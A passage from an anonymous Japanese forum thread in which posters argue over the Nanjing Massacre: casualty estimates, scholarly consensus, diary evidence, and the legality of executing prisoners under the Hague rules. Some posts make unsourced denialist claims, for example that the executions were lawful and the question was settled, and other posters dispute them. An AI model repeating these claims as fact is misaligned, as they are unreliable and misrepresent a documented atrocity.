る肯定説が依拠している少なくともインターネット上に現れている史料を,批判するこ
とから始めるべきだろう。
 とりあえず,ここの第9師団の証言から,批判したらどうかな。

351 :222:03/08/21 12:10 ID:rwDkUg6C
失礼ここだ
http://members.tripod.co.jp/NankingMassacre/butaibetu/9D.html

352 :大笑い:03/08/21 12:59 ID:apzujx3m
>>350
>> だから,俺は学会がどういう風に動いていると問うているんだ?否定派は,日本でも
>>世界でも,圧倒的な少数説だろう。そのことすら,君は認めようとしていない。
>> 君が,中身の議論をしたいのなら,君たちが少数説であることを認めて,多数説であ
>>る肯定説が依拠している少なくともインターネット上に現れている史料を,批判するこ
>>とから始めるべきだろう。

真実は多数決で決まるのかい?

353 :名無しかましてよかですか?:03/08/21 13:40 ID:6Ed7ilfv
>352

多数決では決まらない。しかし「多数派」なのには理由がある。
なぜ少数派なのか?中国のプロパガンダとか安易に考えるのではなく
虚心に自説を固めた上での否定派なら「真実の徒」と言えるだろうね。






354 : :03/08/21 13:54 ID:r6dKWZJm
K-Kが作ったサイトを根拠にしているなんてイタイな。

http://www.marino.ne.jp/~rendaico/daitoasenso/taigaishinryaku_nankinziken_shiryonozusan.htm

取り敢えず参考としてあげとくよ。

355 :名無しかましてよかですか?:03/08/21 14:08 ID:Z/oKNlJT
>>354
> K-Kが作ったサイトを根拠にしているなんてイタイな。
> http://www.marino.ne.jp/~rendaico/daitoasenso/taigaishinryaku_nankinziken_shiryonozusan.htm
> 取り敢えず参考としてあげとくよ。

何がしたいんだお前? そのページには旧K−K板がリンクされているのだが。

356 :名無しかましてよかですか?:03/08/21 16:32 ID:q35mZrvU
昨日ID:M6UdM/oSだった者ですこんにちは。

>>343
>「生きている兵隊(軍隊は間違いだったな)」が昭和13年3月に掲載されたことは理解できたか。

あ、これ見逃してましたね、失礼。
しかしアレですね、本当に「当時」ですね。
東京裁判の直後くらいかと思ったのですが、南京戦の直後ですね。
つまり「南京事件とは何を指すのか」という定義自体が生まれる以前ですね。
さて、それを踏まえた上で、この件の発端である>>265をもう1度見ます。

>当時から南京事件を知っていた日本人もいたという証拠なのだ。

あれあれ?南京事件の定義そのものが存在しない昭和13年3月の著書なんですよね?
なぜそれが「南京事件を」知っていた証拠、という事になるんでしょうか?
石川さんという人は超能力者だったんでしょうか?

>小川氏は,当時,第10軍法務部長だ。たった一人に警察官じゃない。
>当時の南京の訴追側の代表者である。今で言えば検事正か,高等検察庁の
>長官クラスだ。そういう人物の認識なんだよ。

その人個人の地位は、こちらの質問とあまり関係無い話だと思いますけどね。
回答するにあたって地位が重要なファクターだ、とお考えなら、質問の文面を変えましょう。
例えば私が総理大臣だったとして、個人的主観で
「捕まってないやつもいるのに捕まったやつだけ処罰するのは不公平!」
と発言したら、それを根拠に日本は無秩序だ、と言いますか?

357 :356:03/08/21 16:33 ID:q35mZrvU
>>343(続き)
>本当に卑劣な奴だな。君は,莫大という数字を使うとき,おおよそいくら
>と念頭に置きながら使うのか?数えられないくらい多いときに使うのではないか?

なぜこんな事で卑劣呼ばわりされるのか理解に苦しみますが、
つまり人によってそれぞれまちまちである「数え切れない」という概念を用いて、
「あったと認めるか」と質問したわけですね?
しかしそれでは人によってまちまちな回答しか返ってこないと思いますが、
その質問に何か意味あるんですか?アンケートでもやってるんでしょうか?
ちなみに私個人の場合は千京くらいまでは数えられますので、
数え切れないくらいの強姦は無かったと思います(笑)

>小川が言いたかったのは,強姦犯の一人や二人を起訴したって,かえって不公平
>なくらいの強姦が毎日行われていると言うことだろう。

当時起きた強姦事件のうち、逮捕できたのは1〜2人だけだったんですか?
それなら確かに無秩序ですね(笑)
あと、>>325にはもう一言加えていたはずですが、そちらは無視ですか?
小川の言い分はそれ「だけ」ではない、と書いたはずですが。
確かもっとたくさん喋ってましたよね、小川さんは?

358 :356:03/08/21 16:34 ID:q35mZrvU
>>345
>俺の検挙件数の約10倍の強姦があるという記述と矛盾するか?

え?誰もそんな事言ってませんけど?
君は、相手の発言を捏造するクセでもあるんですか?

>日本の検察官は捕まっていない強姦犯は,莫大だから起訴するのは不公平だと考えているか?違うだろう。

>少なくとも,検挙件数の10倍程度では,莫大とは言わないだろうということが明らかになったね。

上の行と下の行がどうつながるのか全然分からないんですが?
じゃあ現行の警察も、莫大だったら不公平と考える、って事ですか?
主観で喋られて、「明らか」と言われても・・・(困)

>強姦のことは調べて「偕行社」は調べないのか。

強姦件数でソース出したのは
「私が」強姦で実刑くらってるのは一握り、と>>294で発言し、
それに対し>>296の人が、具体的に、というのでソースを出したのです。
私の発言に対してソースを求められたから私が調べたんです。
で、偕行社の件は「あなたが」発言したんですよね?なぜ私が調べるの?

しかもソース出してくれたのかな、と思ったら、
Googleの検索結果じゃないですか、そのリンク。
しかも検索ワードが「偕行社」だけですか?
誰がいつ「偕行社そのもの」のソースを求めたんですか?
>南京事件がなかったことを証明しようとして証言を募集して「証言によ
>る南京戦史」を1年にわたって連載した。ところが,当初のもくろみははずれ南京事件の存在を
>示す証言が次々に明らかになった。
↑このへんの文章はどこから持ってきたんですか、と聞いてるんです。
それとも全部あなたの主観なんですか、これ?

359 :356:03/08/21 16:35 ID:q35mZrvU
>>350
>>小川が嘘をついてないという確証もないでしょ?
>>そもそもコレが真実かどうかも万国共通に認められる事柄ではない。

>人に見られることを想定していない日記に普通は,嘘は書かない。
(後略)

私は113氏じゃないですが、>>322の要点はそこじゃないでしょ?
あなたが誠実じゃない、という理由は、その上にあるでしょ?
なぜそちらに答えず、枝葉に過ぎないこっちにだけ答えてるんですか?

>否定派は,日本でも世界でも,圧倒的な少数説だろう。

肯定派はよくこの発言しますけど、
例えばガリレオが地動説を唱えた時、ガリレオは間違い無く少数派ですよね。

>多数説である肯定説が依拠している少なくともインターネット上に現れている史料を,
>批判することから始めるべきだろう。

そう言いながら、これまでほとんど史料を挙げてくれませんでしたよね?
唯一出された小川法務官の日記には、とっくにさんざん反証してますしね。
あなたも肯定派なら、もう少し史料に依拠してください(笑)

で、>>351のリンク先見ましたが、これだけ見ると
敗残兵や捕虜を千人単位で殺してるだけで、
強姦とか民間人虐殺とかについてはあまり書かれてないみたいですよ?
で、これ(敗残兵や捕虜の殺害)について反証すればいいんですか?
それならそれでやりますけど(つーか過去ログでもうやってたけど)、
じゃあ今までのあなたの発言は一体なんだ、って事になりますけど。

360 :222:03/08/21 17:17 ID:rwDkUg6C
>>356
 時間がないので,ここだけ,ほんとにあきれ果てる。
>>当時から南京事件を知っていた日本人もいたという証拠なのだ。

>あれあれ?南京事件の定義そのものが存在しない昭和13年3月の著書なんですよね?
>なぜそれが「南京事件を」知っていた証拠、という事になるんでしょうか?
>石川さんという人は超能力者だったんでしょうか?

 南京事件などがなかった,その証拠に日本人は誰も南京で日本軍が蛮行を働いたこ
とは知らないという主張に対して,南京で日本軍が蛮行を働いていたことを当時の日本
人が知っていた証拠だろう。何か,石川氏が「生きている兵隊」で南京事件というのを
日本軍は犯していまして等と書いたあったとお前は読んだのか。
 その程度の読解力に奴を相手にしなければいけないとは,困ったもんだ?

 質問,君偕行社が何か知らなかったのは事実だろう?

361 :356:03/08/21 20:35 ID:q35mZrvU
>>360
どうも意図が伝わってないようですね。
こちらの文章が不完全だったのかも知れません。申し訳ない。

>日本人は誰も南京で日本軍が蛮行を働いたことは知らないという主張に対して,
>南京で日本軍が蛮行を働いていたことを当時の日本人が知っていた証拠だろう。

言葉がすり変わっています。元のあなたの発言では、
上記文内の「日本軍の蛮行」は「南京事件」でしたよね?
しかし「蛮行=事件」ではありませんよね?「事件」と「蛮行」では全く意味が違います。
戦争してるんだから、残虐な場面というのはいくらでもあるわけで、
それらが「事件と呼ぶに値するものかどうか」というのは、
後になって検証しなければ判断できないものです。
逆に聞きますが、ここではあなたは「蛮行」という言葉を用いていますが、
では日本軍の蛮行は南京でしか行われなかったのですか?
そうでなければ「蛮行=事件」とはなりませんよね?
要するにこちらが何を言いたかったのかというと、
「蛮行(殺戮、強姦等)があった事」と「事件があった事」では意味が違う、という事です。
にも関わらず、あなたは当時の日本人が南京「事件」を知っていた、
と述べていたので、それは違うのでは?という事です。

余談ですが、前にも指摘した通り、相変わらず肯定派は「論より先に悪口」ですね。
真面目に「議論」をする気が本当にあるのかどうか、姿勢を疑ってしまいます。

>質問,君偕行社が何か知らなかったのは事実だろう?

聞かれたので仕方ないから答えます、最初から偕行社云々の件は知ってました(笑)
結果的にダマすような形になってすみません。
ただ、そうしないとソース出してくれないと思ったので
(ていうか現時点でまだソース出してませんよね、222さん)。
もっとも、かの「南京戦史資料集」を出してる偕行社を知らん人が
そもそもこのスレにいる(興味持つ)わけも無いんでしょうけど。

362 :名無しかましてよかですか?:03/08/21 20:37 ID:6Ed7ilfv
>>否定派は,日本でも世界でも,圧倒的な少数説だろう。

>肯定派はよくこの発言しますけど、
>例えばガリレオが地動説を唱えた時、ガリレオは間違い無く少数派ですよね。

宇宙人に誘拐された、つうのも少数派だとおもうぞ

363 :356:03/08/21 20:48 ID:q35mZrvU
>>362
宇宙人に誘拐される、という程度だと、我々が知らない(信じない)だけで
実は本当の話かも知れないからアウトでしょ。
「竹を切ったら女の赤ちゃんが出た」くらいでないと(笑)

冗談はさておき、結局「多数派少数派」はその程度の意味しか無いって事ですよ。
例えば「362は逝ってよし」がもし全世界の多数派だったら、あなた逝くんですか?

364 :名無しかましてよかですか?:03/08/21 21:00 ID:6Ed7ilfv
>363
ちょっと違うなあ。否定派が「自分達が少数派だということがわかってない」
つうのが発火点じゃねえか?

少数派だから「まちがっているわけじゃない」、なぜ今に至るも少数派なのか?
否定派が固く信じている「虐殺はなかった」つう点についても、一度は疑問を持て
つうことじゃねえの。

ちなみに俺は秦説(4万人)な。

365 :名無しかましてよかですか?:03/08/21 22:12 ID:FzZnKT7m
なあんだ。北の狼はグースだったのか。

366 :113:03/08/21 22:32 ID:DWLynBku
いない間のスレ完読しました

煽りはスルーでよろしく。
あいかわらず
>>222
はスルーします。



>>364

うん、一理ある。

でもね、スレの流れ見るとだいたい否定派は疑問もちながら「問う」形を
とってます。
過去ログ読もうよ。

1つのログだけでなく、流れでみるとちゃんと「謙虚に資料批判」してるよ。

367 :言葉の定義 まぼろし派を否定説と呼ぼう運動:03/08/21 22:53 ID:6Ed7ilfv
以下、一提案にすぎないのですが。

これからは「あやまるいわれがどこにある!」つうのが否定派
と考えるべきではないか?かい行社のように「すまなかった」
と言えるのは、ある意味肯定派と見なせる。
30万人を否定するのが否定派では、広すぎる。また否定派
のくくりの中に様様な立場が入り議論が錯綜するため。

「世界戦争犯罪辞典」文芸春秋 82頁より 
@30万人説(大虐殺説)中国側の公式数値
A20万人以上説 南京事件調査研究会(洞富雄など)
B約4万人説 秦説←俺も支持
C1−2万人説 板倉由明 かい行社版「南京戦史」
D虐殺否定派(まぼろし派) 田中正明など 

368 :113:03/08/21 23:05 ID:DWLynBku
>>367

つーかそれはちょっと保留かな。
過去ログ読むと
「東京裁判の内容を認めてる。
よって謝罪は不要」
というのも肯定派になる。

いや、コレは至極まっとうな考え方だがねw
公式で認めてるのは事実だからな。

その上で、肯定否定を議論するのがこのスレだと思うよ。
ただし、「サンフランシスコ平和条約で認めてるからあった」
というような話は永久にスルーだね。
>>1
でも述べてるが政治性の強い話は他スレだw


369 :再利用:03/08/22 00:32 ID:zOYfiklX
「世界戦争犯罪事典」文芸春秋社 2002年 秦郁彦・佐瀬昌
盛・常石敬一監修では
「現在においては、多くの史料や関係者の証言などによって研究
も進み、30万人説や虐殺否定派は、実証性に乏しいことが判明
して空疎な論になりつつあり、研究の焦点は、虐殺の規模・態様
要因の問題に移っている」82頁との記述あり。

この事典、様様な立場(保守派が多いとの印象だが)の執筆者、
内訳は日本人研究者33人・ドイツ人研究者49人つう大所帯で
まとめた本だから、どうしても中間をとった記述が多い。その
本において「虐殺否定派は空疎になりつつあり」つうんだから、
ある程度の学会の動向はわかるんじゃない?

370 :再利用:03/08/22 00:34 ID:zOYfiklX
ちなみにここでの虐殺否定派とは
>>367のD虐殺否定派(まぼろし派) 
を指す

371 :再利用(370訂正):03/08/22 00:36 ID:zOYfiklX
ちなみに>>369における虐殺否定派とは
>>367のD虐殺否定派(まぼろし派) 
を指す


372 :222:03/08/22 01:10 ID:pVajPtpU
>>all
>361のレスが,誠実だというのなら,俺は不誠実でかまわない。

>>361
>聞かれたので仕方ないから答えます、最初から偕行社云々の件は知ってました(笑)
>結果的にダマすような形になってすみません。
>ただ、そうしないとソース出してくれないと思ったので

 嘘付け。君は,俺に対して「偕行社の社員ですか?」とレスをした。
どこかの出版社と間違ったからだろうが。こんなところで嘘を付いて
まで,俺にソースを出させる必要がどこにある。とことん,卑怯な奴
だな。



373 :再利用:03/08/22 01:57 ID:zOYfiklX
>>372

遡ってレスを読んでみたが、君の言い分はもっともにおもえる。



374 :356:03/08/22 13:36 ID:J5zdfIYf
>>369
30万派はともかく、「否定」を「実証性に乏しい」で切り捨てるのはどうかと思う。

>>372
>嘘付け。君は,俺に対して「偕行社の社員ですか?」とレスをした。
>どこかの出版社と間違ったからだろうが。

あのね、繰り返しになるけど、偕行社くらいは
俺だけでなく誰でも知ってると思うのよ、「こういうスレに参加する人間」なら。
それより君ばかりが質問したり人の事けなしたりしてるけど、
こっちの質問や提案は一切無視ですか?
>俺にソースを出させる必要がどこにある
↑こういうのが不誠実だっての。普通、議論する場合において
主観を述べる場合は「主観である事」が明記されてればソースいらないけど、
事実ないし伝聞を述べる場合は、ソースが「絶対必要」なの。
例えば火星人がいるかいないか、という議論において、
「私はこれこれこういう理由で火星人がいると思います」
あるいは
http://www.abc.def/ghi この資料に火星人の資料があります」
というように展開するのが普通なわけ。しかし君の論法は
「火星人はいる、そんな事も知らないのか。資料?自分で探せ、卑怯者」
こういう状態なわけ。まさに「話にならない」でしょ?
もし今後もこういう姿勢を改めないのであれば、
私も113氏に習ってあなたの事はスルーします。よろしく。

375 :356:03/08/22 13:38 ID:J5zdfIYf
あと、今思ったんだが
そもそも今の議論に「偕行社を知ってるかどうか」って関係あるの?
よく考えたらこれもスリカエに近いよな。その辺の返答もよろしく。

376 :222:03/08/22 14:14 ID:buUW8bAz
>>374
>俺にソースを出させる必要がどこにある
俺は,書く理由は,お前が書いているだろう。

あのね、繰り返しになるけど、偕行社くらいは
>俺だけでなく誰でも知ってると思うのよ、「こういうスレに参加する人間」なら。
 だから,議論の前提として知っていなければならないし,知らなければ
そのくらい調べて参加するのがマナーだろう。
 みんな知っていることに,ソースを求めてどうするの?そう言い張るのは知らな
かったこと隠す気味のいいわけでしかない。

>それより君ばかりが質問したり人の事けなしたりしてるけど、
>こっちの質問や提案は一切無視ですか?

 無視などしていないよ。時間のあるときにレスをする。
しかし,君のあまりに不誠実な部分には,仕事の合間でも切れたのさ
 いまでも,>>361は撤回するつもりはないのか。
 私は,インターネットですぐに手にはいるような史料や過去に何度も繰り
返された議論には,ソースをつけない。そんな暇はない。しかし,本を持っ
ていなければ引用できないものについては,ちゃんと,出典を示して「引用」
している。
 何で,ループを繰り返さなければならない。そんな必要はない。
 少数説は,ガリレオだけじゃないぞ。矢追純一も,少数説だ。
ガリレオは増えつつあった少数説だが,否定派は,物の本によると
「空疎な説」になりつつある少数説のようだね。



377 :222:03/08/22 14:16 ID:buUW8bAz
>>375
>そもそも今の議論に「偕行社を知ってるかどうか」って関係あるの?
 君の誠実さを試したんだよ。予想通りだったよ。

378 :113:03/08/22 14:40 ID:O23Mt5jI
>>375

>>222はスルーで。

マジで話にならない。

379 :356:03/08/22 18:55 ID:J5zdfIYf
>>376
●「偕行社うんぬん」について
無視どころか、こっちの発言を読んですらいない模様。>>358の下半分をもっぺん見てみろ。

●多数派少数派について
またしても言い分(「ものの本」云々)にソースが無いし、
こんなもの結局水掛け論でしかない。多かろうが少なかろうが関係無い。
逆に聞くが、じゃあこの先もし価値観がひっくり返って
肯定派の方が少数になったらあんたどうする?土下座して謝るか?

>>377
質問に対する回答になってない。「南京議論に関係あるのか」と聞いているのだが?

●総論
>>374で警告したのだが、まだ態度を改めないようだな。
全てスリカエ、イチャモン、意味なし価値なしソースなし。
>無視などしていないよ。時間のあるときにレスをする。
今回、さすがにこの一言にキレたよ。
この文章は「時間が無いから回答できない」という意味だろう?
じゃあ、なぜ自分に都合の良いところだけは逐一レスつけてるんだ?
ウソ丸出しじゃないか、いい加減にしろ。お前のヘリクツは聞き飽きた。
「莫大」の定義を今すぐ出せ。「蛮行=事件ではない」に対する回答を今すぐつけろ。
それもしないで、何を関係無い部分でグダグダ言ってやがる。
上記に対する真摯な回答を今すぐしないのなら、もうスルーだ。今後お前の発言は「無いもの」とする。

380 :今上天皇の暗黒面:03/08/22 19:16 ID:rsJVQrru
傲慢かましてよかですかぁ?
#だめって言ったら殺しますけどねぇ, 当然 :−)

http://www.taniguchi.org

381 :そりゃ:03/08/22 20:38 ID:CrJX6hJG
いいじゃん 知らなくて 俺も知らないし

要は 南京虐殺という事実があったにしろ 無いにしろ

虐殺がいけないこと  とわかったんだから

382 :113:03/08/22 21:32 ID:O23Mt5jI
今の事態をわかりやすく整理しよう。

まず、議論を成立させるなら議題はシンプルにし
根拠は正確・明解に記す事。

>>222 他印象でカキコしてる奴は全てこれに反する。


次、罵声などの所謂煽り文句は全て無視をする。
要するにそんなもんをわざわざ書く者は重度のストレス下にあるものと判断されるので
カキコそのものの正確さに疑問をもたれることに留意すべし。
それすらも判らなければ、そもそも議論するのは10年早い。

>>222 他の内容の無い印象をカキコする人間はコレに該当する。
根拠は、過去ログに逐一残ってる。



383 :113:03/08/22 21:39 ID:O23Mt5jI
>>382

続き

印象により「なかった」「あった」を話し合う場ではないので
「議題」「議題の根拠」「その正当性の検証」が提示されるべきである。

前提が正確に定まっていないようなのでここで原点に戻って考えてみて欲しい。

>タイトルの通り、その時南京で何が起こったのか、お互いに資料をもちより、
>検証しあい、認識を深めようとするスレッドです。

というわけなので、印象的な言葉は議論の対象外です。
所謂「莫大」「俺は思う」などの不確定材料、または夏休みの感想文を
書く場ではありません。

何度も書くとめんどいので、略すが >>222 他(ry




384 :名無しかましてよかですか?:03/08/23 01:01 ID:Ri6lKCb2
あのーここって
否定派 = まぼろし派
肯定派 = 一人以上虐殺があったとする派
てことで良いんでしょうか?
読んでるとそんな気がするのですが。
そこは明確なの?

385 :名無しかましてよかですか?:03/08/23 01:07 ID:56otRxNs
>>384

当初は30万人説をまずは検証してました。
判りきってるといっても、中国は相変わらずそれを言ってくるので。

で、南京大虐殺=30万人説 と一応は決まってるはず。

だから、南京大虐殺は無い=まぼろし派になるのかな。

で、もっと前のスレで便衣兵やら捕虜処刑は決着ついてるので(合法)
あとは民間人の犠牲者が軍命令か、または兵士個人の責任かが争点なのかな?

386 :そりゃ:03/08/23 01:19 ID:Adi3dcMD
 議論自体がナンセンス
ホロコーストの人数が1000万か900万かの違いになんのいみが?
それと同じ議論
1000人殺しても虐殺だし、10万殺した原爆も東京空襲も虐殺でしょ

命令系統がどうであれ、虐殺を止めれなかったのは軍部の責任

要はこれから虐殺しないように、啓蒙的な意味で南京虐殺が表に出てきただけ.

後ろ向きな議論だね、もし5万人で兵士の独断なら どういう結論に?
しかたがない殺し?もしくは正当な殺人行為?

387 :名無しかましてよかですか?:03/08/23 01:20 ID:56otRxNs
>>386

歴史を勉強する事と、せめてここのスレぐらい読んどけ、夏厨


388 :名無しかましてよかですか?:03/08/23 01:24 ID:DiKQNBdl
>>386
南京大虐殺は事実上の固有名詞で規模は30万人と決まってる。

さあ、この南京大虐殺はあったと思ってる?

余計なこと言わず、ハイかイイエで答えてくれ。

389 :そりゃ:03/08/23 01:25 ID:Adi3dcMD
すみません ここの議論の趣旨を誰か教えて、
またその意義と(なにを得れるの?)

390 :そりゃ:03/08/23 01:27 ID:Adi3dcMD
いいえ 30万ではなかった それが?

391 :名無しかましてよかですか?:03/08/23 01:27 ID:56otRxNs
>>389

>>1
くらい読めるだろ?

392 :名無しかましてよかですか?:03/08/23 01:30 ID:56otRxNs
>>390

聞かせてもらうが、30万でなかった根拠を述べよ。

というように、できる限り印象を省いてできるかぎり正確な実情を
知ろうというスレだ=>>1
わかったか?

393 :名無しかましてよかですか?:03/08/23 01:31 ID:56otRxNs
>>386
またホロコーストと言う言葉の定義は?
それがあてマはまる条件とは?
果たして南京で起きた事はホロコーストなのか?

こういうことに言い出したからには答えねばならないスレだ

394 :名無しかましてよかですか?:03/08/23 01:44 ID:z6XMfkwL
俺も、このスレの趣旨はよく知らないけど、一般的にも南京大虐殺があったなかったの議論は不毛な議論としか思えない.
この問題については諸説色々あるが、30万という数字については誇張以外の何物でもないということで争いないんじゃないの。
また、そもそも虐殺という言葉の定義が、数字によって規定されるわけでもないしね。
結局、この問題の核心は、南京攻略の際に、少なくとも1人以上は巻き添えになり死亡した人が存在し、それ虐殺と捉える中国側の見解に与するのかどうかという点にある。
そして、日本としては、絶対に中国側の見解に与し、これ以上国益を損なうような愚を犯してはならないと
いうことだけ。結局、評価の問題なんだよ。仮にその数が30万と、科学的に証明されたとしてもね。
ただ、日本軍による南京攻略という歴史的事実がそもそもなかった、もしくは、その際において、中国人の死者が(原因を問わず)一人も出なかったというのなら、
前提が崩れる以上、今の見解は撤回するけどね.


395 :名無しかましてよかですか?:03/08/23 01:47 ID:1LJ89JQH
>>385
>で、もっと前のスレで便衣兵やら捕虜処刑は決着ついてるので(合法)

結構長く南京スレ見てるが、これは初耳だな。
根拠なり、該当する書き込みなりを示してもらえるとありがたいが。

396 :名無しかましてよかですか?:03/08/23 01:56 ID:56otRxNs
>>395

今リアルタイムのK-Kスレでも出てるが

ハーグの件だろ?
俺が提示したわけではないのだが
過去スレのどれかでHPが紹介されて
そこから芋づるで書籍がでて(逆だったかな)
ハーグ法規では捕虜処刑は(厳密には)禁止してない(できない)
という解釈が世界中では常識らしい。
理由は捕虜資格の話で、降伏条件を満たしてない
捕虜が出た場合、降伏規定を満たしてないので
捕虜として扱えない。
人道上の配慮を求める条項も入ってはいるが、
それは飽くまで非戦闘の市民優先なのでこの場合は
現地の判断らしい。

まあ、そうでないとそもそも成り立たない法規だしな。
すまんがそのときは満場で納得OR反論不能だったので
詳しくは過去ログ当たってくれ。



397 :名無しかましてよかですか?:03/08/23 02:01 ID:56otRxNs
>>394

おまえヴォケだろ?

>結局、この問題の核心は、南京攻略の際に、
>少なくとも1人以上は巻き添えになり死亡
>した人が存在し、それ虐殺と捉える中国側
>の見解に与するのかどうかという点にある。

一人の一般市民の殺害も無く終結した戦争が存在するような論法だw
彼に言わせると、戦争は全て虐殺らしいw
すげー電波だ(;´Д`)
>>222に負けず劣らずすごい電波を放射するなw

398 :名無しかましてよかですか?:03/08/23 02:11 ID:gO9E2sSp
戦時捕虜の殺害に違法性については一致しているんだがな。ここを除いて。


399 :名無しかましてよかですか?:03/08/23 02:12 ID:56otRxNs
>>398

捕虜資格があればなw

400 :名無しかましてよかですか?:03/08/23 02:13 ID:1LJ89JQH
>>396
>ハーグ法規では捕虜処刑は(厳密には)禁止してない(できない)
という解釈が世界中では常識らしい。

「らしい」とか言われても困るんだが……

>理由は捕虜資格の話で、降伏条件を満たしてない
>捕虜が出た場合、降伏規定を満たしてないので
>捕虜として扱えない。

矛盾だらけだよ、この文章。
ハーグのは「規定を満たさないものは捕虜としなくてもよい」であって、
「捕虜としてはいけない」ではない。
(つまり捕虜にしてもハーグに違反するわけではない)
で、捕虜と認定したなら、捕虜として扱わなければいけない。
過去の戦争犯罪(例えば軍服を着ずに戦闘したとか)をさかのぼって
罪に問うことはできない。
少なくともこの時点の法ではね。

日本軍は「捕虜の資格なし」として処刑したのではなく、
「捕虜と認定」した上で処刑した。
よって問題になっている。

>それは飽くまで非戦闘の市民優先なのでこの場合は
>現地の判断らしい。

現地の判断で捕虜にしたんだろ?
つまり現地が捕虜資格ありと認めてたわけだ。

悪いけど、君の書き込みじゃ根拠がどこにあるのかさっぱりわからんよ……

401 :名無しかましてよかですか?:03/08/23 02:17 ID:gO9E2sSp
>>399
>捕虜資格があればなw

あるんだよw

402 :名無しかましてよかですか?:03/08/23 02:21 ID:1LJ89JQH
>>399
捕虜資格があるかどうか判定するのは、現代の我々ではなく
当時の現地の人間だよ。
我々が後付けで判断しても意味はない。

「現場の人間が捕虜と認定した。よって捕虜として扱わなければならない」
要はこういうことです。

403 :名無しかましてよかですか?:03/08/23 02:42 ID:56otRxNs
>>400-402



http://www.history.gr.jp/nanking/reason06.html

404 :名無しかましてよかですか?:03/08/23 03:03 ID:1LJ89JQH
>>403のHPより
>戦闘中の捕虜は、これを「とる」「とらぬ」はその時の部隊長の意志に
>よるというのが陸戦法規の考え方で、違法ではない

「とらぬ」として殺すならともかく、とった上で殺してるから問題になってます。

>「捕虜は他列国人に対する如く必ずしも之を後送監禁して戦局を待つを
>要せず、特別の場合の外之れを現地又は地方に移送し釈放して可なり。
>どこにも殺してかまわないなどとは言っていないのである。

「対支那軍戦闘法の研究」
「捕虜は他列国人に対する如く必ずしも之れを後送監禁して、戦局を待つを
要せず、特別の場合の外、之を現地又は他の地方に移し、釈放して可なり。
支那人は戸籍法完全ならざるのみならず、特に兵員は浮浪者多く、
其存在を確認せられあるもの少なきをもって、仮に之を殺害又は他の地方に
放つも、世間的に問題となること無し」

省略された後半で「殺して構わない」といってますね。
なんでこの作者は後半を省略したんでしょうか?


405 :名無しかましてよかですか?:03/08/23 03:04 ID:1LJ89JQH
続き
>洞氏にかぎらず虐殺派はおしなべてこの中島中将の「捕虜はせぬ方針」と
>いうのを一般に誤解して、南京の捕虜はかたっぱしから殺害したかの
>ごとく主張するが、決してそうではない。
>これについて大西一上海派遣軍参謀はこう述べている。
>「それは銃器を取り上げ釈放せい、ということです。

中島師団長日記
「だいたい捕虜はせぬ方針なれば、片端よりこれを片づくることと
なしたれども、(中略)
この七、八千人、これを片づくるには相当大なる壕を要し、
なかなか見当たらず、一案としては百、二百に分割したる後、
適当の箇所に誘きて処理する予定なり。」

「処理」するのに「壕」が必要だったようですが。
釈放するのになんで「大きな穴」が必要なんですかねえ……

そのページ、かなりひどいレベルですよ。



406 :222:03/08/23 03:24 ID:8tAcCnwq
否定派が嘘を繰り返し垂れ流すから,それが通説のよう見えるだけだ。

捕虜資格があれば処刑できない。

捕虜資格がなければ,裁判により処刑できる場合がある。

これだけの話を,ごまかそうとしているだけだ。裁判無しに処刑できるかの議論は,最終的に
戦数論ないし軍事的必要論を認めるか否かに尽きる。
この立場が異端説だと言うことをどうにかごまかそうとしているだけだ
よ,否定派の主張は。

便衣兵をその場で処刑しても良いという理屈として,ハーグ陸戦規則の
禁止規定は,「交戦資格」のあるものだけに及ぶという馬鹿な解釈をする
奴もいる。藤田人道法を見れば明らかなように,陸戦規則は,害敵行為
を規制するものであるから,その反射的効果として交戦資格のないものにも
保護が及ぶ。

私が,事実認定と,法解釈について,断定するのは,当たり前だ。
俺は,これで食っているんだ。



407 :407:03/08/23 03:59 ID:eLuZU7rV
>>406
>裁判無しに処刑できるかの議論は,最終的に
>戦数論ないし軍事的必要論を認めるか否かに尽きる。

つまり裁判無しに処刑できると言う結論が出たわけですな。
ご苦労さん。

中国の国際法違反行為便衣戦術に対処すべく軍事的必要は明確に認められていますな。

最後の絞めとして、ヘーグ条約前文にある以下の言葉を再掲しておこう。
「右条項は、軍事上の必要の許す限、努めて戦争の惨害を軽減するの希望を以て定められたるもの」


408 :名無しかましてよかですか?:03/08/23 06:58 ID:D8mMimoo
捕虜の資格あるなしの議論って意味ないのでは?たとえ正式な手続きないとしても、武器を持ってなく拘束された敵兵を、「書類不備だから捕虜じゃない。よって銃殺」と言うようなもんでしょ。日本兵がそんな扱い受けたら、それは合法だったとか言う日本人いないでしょ?

409 :名無しかましてよかですか?:03/08/23 07:11 ID:DiKQNBdl
>>404
>>「とらぬ」として殺すならともかく、とった上で殺してるから問題になってます。

拘束したらそれだけで捕虜扱いになるの?

410 :222:03/08/23 09:21 ID:8tAcCnwq
>>407
だから馬鹿だというのだ。
戦数論ないし軍事的必要論を認めるか否かに尽きる。
この立場が異端説だと言うことをどうにかごまかそうとしているだけだ
と書いているだろう。
 軍事的必要説も戦数論も当時のドイツと日本ぐらいにしか支持者のいない
ごく少数説だ。通説は,軍事的必要を理由に戦闘法規の緩和は認めない。

411 :名無しかましてよかですか?:03/08/23 09:40 ID:QUzlcjMH
東京裁判では松井岩根は配下の軍による捕虜等の殺害の責任者として
有罪になってます。「違法行為の防止責任」で。
つまり捕虜の処刑は違法とされたわけだ。東京裁判の検察は捕虜の
処刑をハーグ法違反として断罪したわけ。軍事的必要性は認められない
と判断したのだな。

412 :222:03/08/23 12:13 ID:8tAcCnwq
>>407
> >>406

> 最後の絞めとして、ヘーグ条約前文にある以下の言葉を再掲しておこう。
> 「右条項は、軍事上の必要の許す限、努めて戦争の惨害を軽減するの希望を以て定められたるもの」

 君の引用した前文の段落は,マルテンス条項として有名な条項だ。このマルテンス条項の意味するところは
君の理解とは全く逆だ。軍事的な必要を考慮した上で,戦争の惨禍を軽減するために戦争法規を制定した。
つまり,軍事的な必要はすでに検討済みなのだから,それにさらに軍事的な必要を持ち出すのは,軍事的必要
と人道のバランスを崩すことになる。この解釈は,マルテンス条項に,この条約に定めがないからといってなんでも
できるというわけではない。条約に含まれていなくも,文明国間の慣習,人道の法則公共良心の要求により生じる
国際法の原則によって,規制されなければならないと定めていることから明らかだ。
 国際人道法の解釈論の基礎中の基礎だ。マルテンス条項を君のように解釈する学者はいない。
以下は,マルテンス条項全文
締約国の所見に依れは、右条規は、軍事上の必要の許す限、努めて戦争の惨害を軽減するの希望を以て定めら
れたるものにして、交戦者相互間の関係及人民との関係に於て、交戦者の行動の一般 の準縄たるへきものとす。
